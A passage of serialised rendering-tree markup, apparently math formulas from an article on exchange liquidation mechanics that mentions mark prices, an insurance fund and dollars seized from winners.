props":169018,"children":169020},{"className":169019},[11732],[],{"type":24,"tag":271,"props":169022,"children":169024},{"className":169023,"style":11908},[11810],[],{"type":24,"tag":271,"props":169026,"children":169028},{"className":169027},[11913],[169029],{"type":29,"value":762},{"type":24,"tag":271,"props":169031,"children":169033},{"className":169032,"style":11908},[11810],[],{"type":24,"tag":271,"props":169035,"children":169037},{"className":169036},[11732],[169038,169043],{"type":24,"tag":271,"props":169039,"children":169041},{"className":169040},[11732,29273],[169042],{"type":29,"value":578},{"type":24,"tag":271,"props":169044,"children":169046},{"className":169045},[11747],[169047],{"type":24,"tag":271,"props":169048,"children":169050},{"className":169049},[11752,29327],[169051,169080],{"type":24,"tag":271,"props":169052,"children":169054},{"className":169053},[11757],[169055,169075],{"type":24,"tag":271,"props":169056,"children":169058},{"className":169057,"style":100366},[11762],[169059],{"type":24,"tag":271,"props":169060,"children":169061},{"style":99893},[169062,169066],{"type":24,"tag":271,"props":169063,"children":169065},{"className":169064,"style":11772},[11771],[],{"type":24,"tag":271,"props":169067,"children":169069},{"className":169068},[11777,11778,11779,11780],[169070],{"type":24,"tag":271,"props":169071,"children":169073},{"className":169072},[11732,29273,11780],[169074],{"type":29,"value":11462},{"type":24,"tag":271,"props":169076,"children":169078},{"className":169077},[29430],[169079],{"type":29,"value":29433},{"type":24,"tag":271,"props":169081,"children":169083},{"className":169082},[11757],[169084],{"type":24,"tag":271,"props":169085,"children":169087},{"className":169086,"style":99920},[11762],[169088],{"type":24,"tag":271,"props":169089,"children":169090},{},[],{"type":24,"tag":271,"props":169092,"children":169094},{"className":169093,"style":11811},[11810],[],{"type":24,"tag":271,"props":169096,"children":169098},{"className":169097},[11816],[169099],{"type":29,"value":1012},{"type":24,"tag":271,"props":169101,"children":169103},{"className":169102,"style":11811},[11810],[],{"type":24,"tag":271,"props":169105,"children":169107},{"className":169106},[11732],[169108,169113],{"type":24,"tag":271,"props":169109,"children":169111},{"className":169110,"style":100323},[11732,29273],[169112],{"type":29,"value":167908},{"type":24,"tag":271,"props":169114,"children":169116},{"className":169115},[11747],[169117],{"type":24,"tag":271,"props":169118,"children":169120},{"className":169119},[11752,29327],[169121,169150],{"type":24,"tag":271,"props":169122,"children":169124},{"className":169123},[11757],[169125,169145],{"type":24,"tag":271,"props":169126,"children":169128},{"className":169127,"style":100366},[11762],[169129],{"type":24,"tag":271,"props":169130,"children":169131},{"style":100370},[169132,169136],{"type":24,"tag":271,"props":169133,"children":169135},{"className":169134,"style":11772},[11771],[],{"type":24,"tag":271,"props":169137,"children":169139},{"className":169138},[11777,11778,11779,11780],[169140],{"type":24,"tag":271,"props":169141,"children":169143},{"className":169142},[11732,29273,11780],[169144],{"type":29,"value":11462},{"type":24,"tag":271,"props":169146,"children":169148},{"className":169147},[29430],[169149],{"type":29,"value":29433},{"type":24,"tag":271,"props":169151,"children":169153},{"className":169152},[11757],[169154],{"type":24,"tag":271,"props":169155,"children":169157},{"className":169156,"style":99920},[11762],[169158],{"type":24,"tag":271,"props":169159,"children":169160},{},[],{"type":24,"tag":271,"props":169162,"children":169163},{"style":168028},[169164,169168],{"type":24,"tag":271,"props":169165,"children":169167},{"className":169166,"style":167737},[11771],[],{"type":24,"tag":271,"props":169169,"children":169171},{"className":169170},[11732],[169172,169176,169180,169185,169189],{"type":24,"tag":271,"props":169173,"children":169175},{"className":169174},[11732],[],{"type":24,"tag":271,"props":169177,"children":169179},{"className":169178,"style":11908},[11810],[],{"type":24,"tag":271,"props":169181,"children":169183},{"className":169182},[11913],[169184],{"type":29,"value":762},{"type":24,"tag":271,"props":169186,"children":169188},{"className":169187,"style":11908},[11810],[],{"type":24,"tag":271,"props":169190,"children":169192},{"className":169191},[11732],[169193,169198],{"type":24,"tag":271,"props":169194,"children":169196},{"className":169195,"style":100323},[11732,29273],[169197],{"type":29,"value":167908},{"type":24,"tag":271,"props":169199,"children":169201},{"className":169200},[11747],[169202],{"type":24,"tag":271,"props":169203,"children":169205},{"className":169204},[11752,29327],[169206,169254],{"type":24,"tag":271,"props":169207,"children":169209},{"className":169208},[11757],[169210,169249],{"type":24,"tag":271,"props":169211,"children":169214},{"className":169212,"style":169213},[11762],"height:0.8213em;",[169215,169232],{"type":24,"tag":271,"props":169216,"children":169218},{"style":169217},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[169219,169223],{"type":24,"tag":271,"props":169220,"children":169222},{"className":169221,"style":11772},[11771],[],{"type":24,"tag":271,"props":169224,"children":169226},{"className":169225},[11777,11778,11779,11780],[169227],{"type":24,"tag":271,"props":169228,"children":169230},{"className":169229},[11732,29273,11780],[169231],{"type":29,"value":11462},{"type":24,"tag":271,"props":169233,"children":169235},{"style":169234},"top:-3.113em;margin-right:0.05em;",[169236,169240],{"type":24,"tag":271,"props":169237,"children":169239},{"className":169238,"style":11772},[11771],[],{"type":24,"tag":271,"props":169241,"children":169243},{"className":169242},[11777,11778,11779,11780],[169244],{"type":24,"tag":271,"props":169245,"children":169247},{"className":169246},[11816,11780],[169248],{"type":29,"value":1012},{"type":24,"tag":271,"props":169250,"children":169252},{"className":169251},[29430],[169253],{"type":29,"value":29433},{"type":24,"tag":271,"props":169255,"children":169257},{"className":169256},[11757],[169258],{"type":24,"tag":271,"props":169259,"children":169262},{"className":169260,"style":169261},[11762],"height:0.267em;",[169263],{"type":24,"tag":271,"props":169264,"children":169265},{},[],{"type":24,"tag":271,"props":169267,"children":169268},{"style":168098},[169269,169273],{"type":24,"tag":271,"props":169270,"children":169272},{"className":169271,"style":167737},[11771],[],{"type":24,"tag":271,"props":169274,"children":169276},{"className":169275},[11732],[169277,169281,169285,169290,169294,169304],{"type":24,"tag":271,"props":169278,"children":169280},{"className":169279},[11732],[],{"type":24,"tag":271,"props":169282,"children":169284},{"className":169283,"style":11908},[11810],[],{"type":24,"tag":271,"props":169286,"children":169288},{"className":169287},[11913],[169289],{"type":29,"value":29292},{"type":24,"tag":271,"props":169291,"children":169293},{"className":169292,"style":11908},[11810],[],{"type":24,"tag":271,"props":169295,"children":169297},{"className":169296},[11732,29],[169298],{"type":24,"tag":271,"props":169299,"children":169301},{"className":169300},[11732],[169302],{"type":29,"value":169303},"dollars seized from winner ",{"type":24,"tag":271,"props":169305,"children":169307},{"className":169306},[11732,29273],[169308],{"type":29,"value":11462},{"type":24,"tag":271,"props":169310,"children":169311},{"style":168167},[169312,169316],{"type":24,"tag":271,"props":169313,"children":169315},{"className":169314,"style":167737},[11771],[],{"type":24,"tag":271,"props":169317,"children":169319},{"className":169318},[11732],[169320,169324,169328,169333,169337],{"type":24,"tag":271,"props":169321,"children":169323},{"className":169322},[11732],[],{"type":24,"tag":271,"props":169325,"children":169327},{"className":169326,"style":11908},[11810],[],{"type":24,"tag":271,"props":169329,"children":169331},{"className":169330},[11913],[169332],{"type":29,"value":762},{"type":24,"tag":271,"props":169334,"children":169336},{"className":169335,"style":11908},[11810],[],{"type":24,"tag":271,"props":169338,"children":169340},{"className":169339},[11732],[169341,169345,169526],{"type":24,"tag":271,"props":169342,"children":169344},{"className":169343},[29402,120355],[],{"type":24,"tag":271,"props":169346,"children":169348},{"className":169347},[120360],[169349],{"type":24,"tag":271,"props":169350,"children":169352},{"className":169351},[11752,29327],[169353,169514],{"type":24,"tag":271,"props":169354,"children":169356},{"className":169355},[11757],[169357,169509],{"type":24,"tag":271,"props":169358,"children":169361},{"className":169359,"style":169360},[11762],"height:1.1076em;",[169362,169430,169441],{"type":24,"tag":271,"props":169363,"children":169364},{"style":165946},[169365,169369],{"type":24,"tag":271,"props":169366,"children":169368},{"className":169367,"style":119008},[11771],[],{"type":24,"tag":271,"props":169370,"children":169372},{"className":169371},[11732],[169373],{"type":24,"tag":271,"props":169374,"children":169376},{"className":169375},[11732],[169377,169382],{"type":24,"tag":271,"props":169378,"children":169380},{"className":169379,"style":129117},[11732,29273],[169381],{"type":29,"value":2930},{"type":24,"tag":271,"props":169383,"children":169385},{"className":169384},[11747],[169386],{"type":24,"tag":271,"props":169387,"children":169389},{"className":169388},[11752,29327],[169390,169419],{"type":24,"tag":271,"props":169391,"children":169393},{"className":169392},[11757],[169394,169414],{"type":24,"tag":271,"props":169395,"children":169397},{"className":169396,"style":100366},[11762],[169398],{"type":24,"tag":271,"props":169399,"children":169400},{"style":168065},[169401,169405],{"type":24,"tag":271,"props":169402,"children":169404},{"className":169403,"style":11772},[11771],[],{"type":24,"tag":271,"props":169406,"children":169408},{"className":169407},[11777,11778,11779,11780],[169409],{"type":24,"tag":271,"props":169410,"children":169412},{"className":169411},[11732,29273,11780],[169413],{"type":29,"value":11462},{"type":24,"tag":271,"props":169415,"children":169417},{"className":169416},[29430],[169418],{"type":29,"value":29433},{"type":24,"tag":271,"props":169420,"children":169422},{"className":169421},[11757],[169423],{"type":24,"tag":271,"props":169424,"children":169426},{"className":169425,"style":99920},[11762],[169427],{"type":24,"tag":271,"props":169428,"children":169429},{},[],{"type":24,"tag":271,"props":169431,"children":169432},{"style":120410},[169433,169437],{"type":24,"tag":271,"props":169434,"children":169436},{"className":169435,"style":119008},[11771],[],{"type":24,"tag":271,"props":169438,"children":169440},{"className":169439,"style":120420},[120419],[],{"type":24,"tag":271,"props":169442,"children":169443},{"style":165997},[169444,169448],{"type":24,"tag":271,"props":169445,"children":169447},{"className":169446,"style":119008},[11771],[],{"type":24,"tag":271,"props":169449,"children":169451},{"className":169450},[11732],[169452],{"type":24,"tag":271,"props":169453,"children":169455},{"className":169454},[11732],[169456,169461],{"type":24,"tag":271,"props":169457,"children":169459},{"className":169458},[11732,29273],[169460],{"type":29,"value":6034},{"type":24,"tag":271,"props":169462,"children":169464},{"className":169463},[11747],[169465],{"type":24,"tag":271,"props":169466,"children":169468},{"className":169467},[11752,29327],[169469,169498],{"type":24,"tag":271,"props":169470,"children":169472},{"className":169471},[11757],[169473,169493],{"type":24,"tag":271,"props":169474,"children":169476},{"className":169475,"style":100366},[11762],[169477],{"type":24,"tag":271,"props":169478,"children":169479},{"style":99893},[169480,169484],{"type":24,"tag":271,"props":169481,"children":169483},{"className":169482,"style":11772},[11771],[],{"type":24,"tag":271,"props":169485,"children":169487},{"className":169486},[11777,11778,11779,11780],[169488],{"type":24,"tag":271,"props":169489,"children":169491},{"className":169490},[11732,29273,11780],[169492],{"type":29,"value":11462},{"type":24,"tag":271,"props":169494,"children":169496},{"className":169495},[29430],[169497],{"type":29,"value":29433},{"type":24,"tag":271,"props":169499,"children":169501},{"className":169500},[11757],[169502],{"type":24,"tag":271,"props":169503,"children":169505},{"className":169504,"style":99920},[11762],[169506],{"type":24,"tag":271,"props":169507,"children":169508},{},[],{"type":24,"tag":271,"props":169510,"children":169512},{"className":169511},[29430],[169513],{"type":29,"value":29433},{"type":24,"tag":271,"props":169515,"children":169517},{"className":169516},[11757],[169518],{"type":24,"tag":271,"props":169519,"children":169522},{"className":169520,"style":169521},[11762],"height:0.836em;",[169523],{"type":24,"tag":271,"props":169524,"children":169525},{},[],{"type":24,"tag":271,"props":169527,"children":169529},{"className":169528},[29424,120355],[],{"type":24,"tag":271,"props":169531,"children":169532},{"style":168236},[169533,169537],{"type":24,"tag":271,"props":169534,"children":169536},{"className":169535,"style":167737},[11771],[],{"type":24,"tag":271,"props":169538,"children":169540},{"className":169539},[11732],[169541,169545,169549,169554,169558,169628,169632],{"type":24,"tag":271,"props":169542,"children":169544},{"className":169543},[11732],[],{"type":24,"tag":271,"props":169546,"children":169548},{"className":169547,"style":11908},[11810],[],{"type":24,"tag":271,"props":169550,"children":169552},{"className":169551},[11913],[169553],{"type":29,"value":762},{"type":24,"tag":271,"props":169555,"children":169557},{"className":169556,"style":11908},[11810],[],{"type":24,"tag":271,"props":169559,"children":169562},{"className":169560},[29309,169561],"op-limits",[169563],{"type":24,"tag":271,"props":169564,"children":169566},{"className":169565},[11752,29327],[169567,169616],{"type":24,"tag":271,"props":169568,"children":169570},{"className":169569},[11757],[169571,169611],{"type":24,"tag":271,"props":169572,"children":169575},{"className":169573,"style":169574},[11762],"height:1.05em;",[169576,169594],{"type":24,"tag":271,"props":169577,"children":169579},{"style":169578},"top:-1.8723em;margin-left:0em;",[169580,169585],{"type":24,"tag":271,"props":169581,"children":169584},{"className":169582,"style":169583},[11771],"height:3.05em;",[],{"type":24,"tag":271,"props":169586,"children":169588},{"className":169587},[11777,11778,11779,11780],[169589],{"type":24,"tag":271,"props":169590,"children":169592},{"className":169591},[11732,29273,11780],[169593],{"type":29,"value":11462},{"type":24,"tag":271,"props":169595,"children":169597},{"style":169596},"top:-3.05em;",[169598,169602],{"type":24,"tag":271,"props":169599,"children":169601},{"className":169600,"style":169583},[11771],[],{"type":24,"tag":271,"props":169603,"children":169604},{},[169605],{"type":24,"tag":271,"props":169606,"children":169609},{"className":169607},[29309,29314,169608],"large-op",[169610],{"type":29,"value":115632},{"type":24,"tag":271,"props":169612,"children":169614},{"className":169613},[29430],[169615],{"type":29,"value":29433},{"type":24,"tag":271,"props":169617,"children":169619},{"className":169618},[11757],[169620],{"type":24,"tag":271,"props":169621,"children":169624},{"className":169622,"style":169623},[11762],"height:1.2777em;",[169625],{"type":24,"tag":271,"props":169626,"children":169627},{},[],{"type":24,"tag":271,"props":169629,"children":169631},{"className":169630,"style":11849},[11810],[],{"type":24,"tag":271,"props":169633,"children":169635},{"className":169634},[11732],[169636,169641],{"type":24,"tag":271,"props":169637,"children":169639},{"className":169638},[11732,29273],[169640],{"type":29,"value":6034},{"type":24,"tag":271,"props":169642,"children":169644},{"className":169643},[11747],[169645],{"type":24,"tag":271,"props":169646,"children":169648},{"className":169647},[11752,29327],[169649,169678],{"type":24,"tag":271,"props":169650,"children":169652},{"className":169651},[11757],[169653,169673],{"type":24,"tag":271,"props":169654,"children":169656},{"className":169655,"style":100366},[11762],[169657],{"type":24,"tag":271,"props":169658,"children":169659},{"style":99893},[169660,169664],{"type":24,"tag":271,"props":169661,"children":169663},{"className":169662,"style":11772},[11771],[],{"type":24,"tag":271,"props":169665,"children":169667},{"className":169666},[11777,11778,11779,11780],[169668],{"type":24,"tag":271,"props":169669,"children":169671},{"className":169670},[11732,29273,11780],[169672],{"type":29,"value":11462},{"type":24,"tag":271,"props":169674,"children":169676},{"className":169675},[29430],[169677],{"type":29,"value":29433},{"type":24,"tag":271,"props":169679,"children":169681},{"className":169680},[11757],[169682],{"type":24,"tag":271,"props":169683,"children":169685},{"className":169684,"style":99920},[11762],[169686],{"type":24,"tag":271,"props":169687,"children":169688},{},[],{"type":24,"tag":271,"props":169690,"children":169691},{"style":168305},[169692,169696],{"type":24,"tag":271,"props":169693,"children":169695},{"className":169694,"style":167737},[11771],[],{"type":24,"tag":271,"props":169697,"children":169699},{"className":169698},[11732],[169700,169704,169708,169713,169717,169780,169784,169789,169794,169799,169856,169861,169865,169869,169874],{"type":24,"tag":271,"props":169701,"children":169703},{"className":169702},[11732],[],{"type":24,"tag":271,"props":169705,"children":169707},{"className":169706,"style":11908},[11810],[],{"type":24,"tag":271,"props":169709,"children":169711},{"className":169710},[11913],[169712],{"type":29,"value":762},{"type":24,"tag":271,"props":169714,"children":169716},{"className":169715,"style":11908},[11810],[],{"type":24,"tag":271,"props":169718,"children":169720},{"className":169719},[29309,169561],[169721],{"type":24,"tag":271,"props":169722,"children":169724},{"className":169723},[11752,29327],[169725,169769],{"type":24,"tag":271,"props":169726,"children":169728},{"className":169727},[11757],[169729,169764],{"type":24,"tag":271,"props":169730,"children":169732},{"className":169731,"style":169574},[11762],[169733,169749],{"type":24,"tag":271,"props":169734,"children":169735},{"style":169578},[169736,169740],{"type":24,"tag":271,"props":169737,"children":169739},{"className":169738,"style":169583},[11771],[],{"type":24,"tag":271,"props":169741,"children":169743},{"className":169742},[11777,11778,11779,11780],[169744],{"type":24,"tag":271,"props":169745,"children":169747},{"className":169746},[11732,29273,11780],[169748],{"type":29,"value":11462},{"type":24,"tag":271,"props":169750,"children":169751},{"style":169596},[169752,169756],{"type":24,"tag":271,"props":169753,"children":169755},{"className":169754,"style":169583},[11771],[],{"type":24,"tag":271,"props":169757,"children":169758},{},[169759],{"type":24,"tag":271,"props":169760,"children":169762},{"className":169761},[29309,29314,169608],[169763],{"type":29,"value":115632},{"type":24,"tag":271,"props":169765,"children":169767},{"className":169766},[29430],[169768],{"type":29,"value":29433},{"type":24,"tag":271,"props":169770,"children":169772},{"className":169771},[11757],[169773],{"type":24,"tag":271,"props":169774,"children":169776},{"className":169775,"style":169623},[11762],[169777],{"type":24,"tag":271,"props":169778,"children":169779},{},[],{"type":24,"tag":271,"props":169781,"children":169783},{"className":169782,"style":11849},[11810],[],{"type":24,"tag":271,"props":169785,"children":169787},{"className":169786},[29309],[169788],{"type":29,"value":167451},{"type":24,"tag":271,"props":169790,"children":169792},{"className":169791},[29402],[169793],{"type":29,"value":606},{"type":24,"tag":271,"props":169795,"children":169797},{"className":169796},[11732],[169798],{"type":29,"value":11791},{"type":24,"tag":271,"props":169800,"children":169802},{"className":169801},[11732],[169803,169808],{"type":24,"tag":271,"props":169804,"children":169806},{"className":169805},[11732,29273],[169807],{"type":29,"value":1026},{"type":24,"tag":271,"props":169809,"children":169811},{"className":169810},[11747],[169812],{"type":24,"tag":271,"props":169813,"children":169815},{"className":169814},[11752,29327],[169816,169845],{"type":24,"tag":271,"props":169817,"children":169819},{"className":169818},[11757],[169820,169840],{"type":24,"tag":271,"props":169821,"children":169823},{"className":169822,"style":100366},[11762],[169824],{"type":24,"tag":271,"props":169825,"children":169826},{"style":99893},[169827,169831],{"type":24,"tag":271,"props":169828,"children":169830},{"className":169829,"style":11772},[11771],[],{"type":24,"tag":271,"props":169832,"children":169834},{"className":169833},[11777,11778,11779,11780],[169835],{"type":24,"tag":271,"props":169836,"children":169838},{"className":169837},[11732,29273,11780],[169839],{"type":29,"value":11462},{"type":24,"tag":271,"props":169841,"children":169843},{"className":169842},[29430],[169844],{"type":29,"value":29433},{"type":24,"tag":271,"props":169846,"children":169848},{"className":169847},[11757],[169849],{"type":24,"tag":271,"props":169850,"children":169852},{"className":169851,"style":99920},[11762],[169853],{"type":24,"tag":271,"props":169854,"children":169855},{},[],{"type":24,"tag":271,"props":169857,"children":169859},{"className":169858},[11842],[169860],{"type":29,"value":11845},{"type":24,"tag":271,"props":169862,"children":169864},{"className":169863,"style":11849},[11810],[],{"type":24,"tag":271,"props":169866,"children":169868},{"className":169867,"style":11849},[11810],[],{"type":24,"tag":271,"props":169870,"children":169872},{"className":169871},[11732],[169873],{"type":29,"value":4121},{"type":24,"tag":271,"props":169875,"children":169877},{"className":169876},[29424],[169878],{"type":29,"value":2693},{"type":24,"tag":271,"props":169880,"children":169881},{"style":168375},[169882,169886],{"type":24,"tag":271,"props":169883,"children":169885},{"className":169884,"style":167737},[11771],[],{"type":24,"tag":271,"props":169887,"children":169889},{"className":169888},[11732],[169890,169894,169898,169903,169907,169970,169974],{"type":24,"tag":271,"props":169891,"children":169893},{"className":169892},[11732],[],{"type":24,"tag":271,"props":169895,"children":169897},{"className":169896,"style":11908},[11810],[],{"type":24,"tag":271,"props":169899,"children":169901},{"className":169900},[11913],[169902],{"type":29,"value":762},{"type":24,"tag":271,"props":169904,"children":169906},{"className":169905,"style":11908},[11810],[],{"type":24,"tag":271,"props":169908,"children":169910},{"className":169909},[29309,169561],[169911],{"type":24,"tag":271,"props":169912,"children":169914},{"className":169913},[11752,29327],[169915,169959],{"type":24,"tag":271,"props":169916,"children":169918},{"className":169917},[11757],[169919,169954],{"type":24,"tag":271,"props":169920,"children":169922},{"className":169921,"style":169574},[11762],[169923,169939],{"type":24,"tag":271,"props":169924,"children":169925},{"style":169578},[169926,169930],{"type":24,"tag":271,"props":169927,"children":169929},{"className":169928,"style":169583},[11771],[],{"type":24,"tag":271,"props":169931,"children":169933},{"className":169932},[11777,11778,11779,11780],[169934],{"type":24,"tag":271,"props":169935,"children":169937},{"className":169936},[11732,29273,11780],[169938],{"type":29,"value":11462},{"type":24,"tag":271,"props":169940,"children":169941},{"style":169596},[169942,169946],{"type":24,"tag":271,"props":169943,"children":169945},{"className":169944,"style":169583},[11771],[],{"type":24,"tag":271,"props":169947,"children":169948},{},[169949],{"type":24,"tag":271,"props":169950,"children":169952},{"className":169951},[29309,29314,169608],[169953],{"type":29,"value":115632},{"type":24,"tag":271,"props":169955,"children":169957},{"className":169956},[29430],[169958],{"type":29,"value":29433},{"type":24,"tag":271,"props":169960,"children":169962},{"className":169961},[11757],[169963],{"type":24,"tag":271,"props":169964,"children":169966},{"className":169965,"style":169623},[11762],[169967],{"type":24,"tag":271,"props":169968,"children":169969},{},[],{"type":24,"tag":271,"props":169971,"children":169973},{"className":169972,"style":11849},[11810],[],{"type":24,"tag":271,"props":169975,"children":169977},{"className":169976},[11732],[169978,169983],{"type":24,"tag":271,"props":169979,"children":169981},{"className":169980,"style":129117},[11732,29273],[169982],{"type":29,"value":2930},{"type":24,"tag":271,"props":169984,"children":169986},{"className":169985},[11747],[169987],{"type":24,"tag":271,"props":169988,"children":169990},{"className":169989},[11752,29327],[169991,170020],{"type":24,"tag":271,"props":169992,"children":169994},{"className":169993},[11757],[169995,170015],{"type":24,"tag":271,"props":169996,"children":169998},{"className":169997,"style":100366},[11762],[169999],{"type":24,"tag":271,"props":170000,"children":170001},{"style":168065},[170002,170006],{"type":24,"tag":271,"props":170003,"children":170005},{"className":170004,"style":11772},[11771],[],{"type":24,"tag":271,"props":170007,"children":170009},{"className":170008},[11777,11778,11779,11780],[170010],{"type":24,"tag":271,"props":170011,"children":170013},{"className":170012},[11732,29273,11780],[170014],{"type":29,"value":11462},{"type":24,"tag":271,"props":170016,"children":170018},{"className":170017},[29430],[170019],{"type":29,"value":29433},{"type":24,"tag":271,"props":170021,"children":170023},{"className":170022},[11757],[170024],{"type":24,"tag":271,"props":170025,"children":170027},{"className":170026,"style":99920},[11762],[170028],{"type":24,"tag":271,"props":170029,"children":170030},{},[],{"type":24,"tag":271,"props":170032,"children":170033},{"style":168446},[170034,170038],{"type":24,"tag":271,"props":170035,"children":170037},{"className":170036,"style":167737},[11771],[],{"type":24,"tag":271,"props":170039,"children":170041},{"className":170040},[11732],[170042,170046,170050,170055,170059,170064,170069,170126,170130,170135,170139,170144,170148,170153,170157,170214,170219,170223,170227,170232],{"type":24,"tag":271,"props":170043,"children":170045},{"className":170044},[11732],[],{"type":24,"tag":271,"props":170047,"children":170049},{"className":170048,"style":11908},[11810],[],{"type":24,"tag":271,"props":170051,"children":170053},{"className":170052},[11913],[170054],{"type":29,"value":762},{"type":24,"tag":271,"props":170056,"children":170058},{"className":170057,"style":11908},[11810],[],{"type":24,"tag":271,"props":170060,"children":170062},{"className":170061},[29309],[170063],{"type":29,"value":167451},{"type":24,"tag":271,"props":170065,"children":170067},{"className":170066},[29402],[170068],{"type":29,"value":606},{"type":24,"tag":271,"props":170070,"children":170072},{"className":170071},[11732],[170073,170078],{"type":24,"tag":271,"props":170074,"children":170076},{"className":170075,"style":99837},[11732,29273],[170077],{"type":29,"value":168324},{"type":24,"tag":271,"props":170079,"children":170081},{"className":170080},[11747],[170082],{"type":24,"tag":271,"props":170083,"children":170085},{"className":170084},[11752,29327],[170086,170115],{"type":24,"tag":271,"props":170087,"children":170089},{"className":170088},[11757],[170090,170110],{"type":24,"tag":271,"props":170091,"children":170093},{"className":170092,"style":149392},[11762],[170094],{"type":24,"tag":271,"props":170095,"children":170096},{"style":116836},[170097,170101],{"type":24,"tag":271,"props":170098,"children":170100},{"className":170099,"style":11772},[11771],[],{"type":24,"tag":271,"props":170102,"children":170104},{"className":170103},[11777,11778,11779,11780],[170105],{"type":24,"tag":271,"props":170106,"children":170108},{"className":170107,"style":29274},[11732,29273,11780],[170109],{"type":29,"value":13704},{"type":24,"tag":271,"props":170111,"children":170113},{"className":170112},[29430],[170114],{"type":29,"value":29433},{"type":24,"tag":271,"props":170116,"children":170118},{"className":170117},[11757],[170119],{"type":24,"tag":271,"props":170120,"children":170122},{"className":170121,"style":99920},[11762],[170123],{"type":24,"tag":271,"props":170124,"children":170125},{},[],{"type":24,"tag":271,"props":170127,"children":170129},{"className":170128,"style":11811},[11810],[],{"type":24,"tag":271,"props":170131,"children":170133},{"className":170132},[11816],[170134],{"type":29,"value":11791},{"type":24,"tag":271,"props":170136,"children":170138},{"className":170137,"style":11811},[11810],[],{"type":24,"tag":271,"props":170140,"children":170142},{"className":170141,"style":101857},[11732,29273],[170143],{"type":29,"value":101891},{"type":24,"tag":271,"props":170145,"children":170147},{"className":170146,"style":11811},[11810],[],{"type":24,"tag":271,"props":170149,"children":170151},{"className":170150},[11816],[170152],{"type":29,"value":11791},{"type":24,"tag":271,"props":170154,"children":170156},{"className":170155,"style":11811},[11810],[],{"type":24,"tag":271,"props":170158,"children":170160},{"className":170159},[11732],[170161,170166],{"type":24,"tag":271,"props":170162,"children":170164},{"className":170163,"style":100071},[11732,29273],[170165],{"type":29,"value":100074},{"type":24,"tag":271,"props":170167,"children":170169},{"className":170168},[11747],[170170],{"type":24,"tag":271,"props":170171,"children":170173},{"className":170172},[11752,29327],[170174,170203],{"type":24,"tag":271,"props":170175,"children":170177},{"className":170176},[11757],[170178,170198],{"type":24,"tag":271,"props":170179,"children":170181},{"className":170180,"style":149392},[11762],[170182],{"type":24,"tag":271,"props":170183,"children":170184},{"style":117266},[170185,170189],{"type":24,"tag":271,"props":170186,"children":170188},{"className":170187,"style":11772},[11771],[],{"type":24,"tag":271,"props":170190,"children":170192},{"className":170191},[11777,11778,11779,11780],[170193],{"type":24,"tag":271,"props":170194,"children":170196},{"className":170195,"style":29274},[11732,29273,11780],[170197],{"type":29,"value":13704},{"type":24,"tag":271,"props":170199,"children":170201},{"className":170200},[29430],[170202],{"type":29,"value":29433},{"type":24,"tag":271,"props":170204,"children":170206},{"className":170205},[11757],[170207],{"type":24,"tag":271,"props":170208,"children":170210},{"className":170209,"style":99920},[11762],[170211],{"type":24,"tag":271,"props":170212,"children":170213},{},[],{"type":24,"tag":271,"props":170215,"children":170217},{"className":170216},[11842],[170218],{"type":29,"value":11845},{"type":24,"tag":271,"props":170220,"children":170222},{"className":170221,"style":11849},[11810],[],{"type":24,"tag":271,"props":170224,"children":170226},{"className":170225,"style":11849},[11810],[],{"type":24,"tag":271,"props":170228,"children":170230},{"className":170229},[11732],[170231],{"type":29,"value":4121},{"type":24,"tag":271,"props":170233,"children":170235},{"className":170234},[29424],[170236],{"type":29,"value":2693},{"type":24,"tag":271,"props":170238,"children":170240},{"className":170239},[29430],[170241],{"type":29,"value":29433},{"type":24,"tag":271,"props":170243,"children":170245},{"className":170244},[11757],[170246],{"type":24,"tag":271,"props":170247,"children":170249},{"className":170248,"style":168527},[11762],[170250],{"type":24,"tag":271,"props":170251,"children":170252},{},[],{"type":24,"tag":25,"props":170254,"children":170255},{},[170256,170257,170334,170336,170361,170363,170440,170442,170519],{"type":29,"value":606},{"type":24,"tag":135,"props":170258,"children":170260},{"className":170259},[11705,11706],[170261],{"type":24,"tag":271,"props":170262,"children":170264},{"className":170263},[11711],[170265],{"type":24,"tag":271,"props":170266,"children":170268},{"className":170267,"ariaHidden":5670},[11716],[170269],{"type":24,"tag":271,"props":170270,"children":170272},{"className":170271},[11721],[170273,170277],{"type":24,"tag":271,"props":170274,"children":170276},{"className":170275,"style":117834},[11726],[],{"type":24,"tag":271,"props":170278,"children":170280},{"className":170279},[11732],[170281,170286],{"type":24,"tag":271,"props":170282,"children":170284},{"className":170283,"style":29274},[11732,29273],[170285],{"type":29,"value":29277},{"type":24,"tag":271,"props":170287,"children":170289},{"className":170288},[11747],[170290],{"type":24,"tag":271,"props":170291,"children":170293},{"className":170292},[11752,29327],[170294,170323],{"type":24,"tag":271,"props":170295,"children":170297},{"className":170296},[11757],[170298,170318],{"type":24,"tag":271,"props":170299,"children":170301},{"className":170300,"style":116269},[11762],[170302],{"type":24,"tag":271,"props":170303,"children":170304},{"style":167770},[170305,170309],{"type":24,"tag":271,"props":170306,"children":170308},{"className":170307,"style":11772},[11771],[],{"type":24,"tag":271,"props":170310,"children":170312},{"className":170311},[11777,11778,11779,11780],[170313],{"type":24,"tag":271,"props":170314,"children":170316},{"className":170315},[11732,29273,11780],[170317],{"type":29,"value":6054},{"type":24,"tag":271,"props":170319,"children":170321},{"className":170320},[29430],[170322],{"type":29,"value":29433},{"type":24,"tag":271,"props":170324,"children":170326},{"className":170325},[11757],[170327],{"type":24,"tag":271,"props":170328,"children":170330},{"className":170329,"style":99920},[11762],[170331],{"type":24,"tag":271,"props":170332,"children":170333},{},[],{"type":29,"value":170335},": mark price from different sources; ",{"type":24,"tag":135,"props":170337,"children":170339},{"className":170338},[11705,11706],[170340],{"type":24,"tag":271,"props":170341,"children":170343},{"className":170342},[11711],[170344],{"type":24,"tag":271,"props":170345,"children":170347},{"className":170346,"ariaHidden":5670},[11716],[170348],{"type":24,"tag":271,"props":170349,"children":170351},{"className":170350},[11721],[170352,170356],{"type":24,"tag":271,"props":170353,"children":170355},{"className":170354,"style":29268},[11726],[],{"type":24,"tag":271,"props":170357,"children":170359},{"className":170358,"style":101857},[11732,29273],[170360],{"type":29,"value":101891},{"type":29,"value":170362},": insurance fund, roughly the 5M on testnet HL; 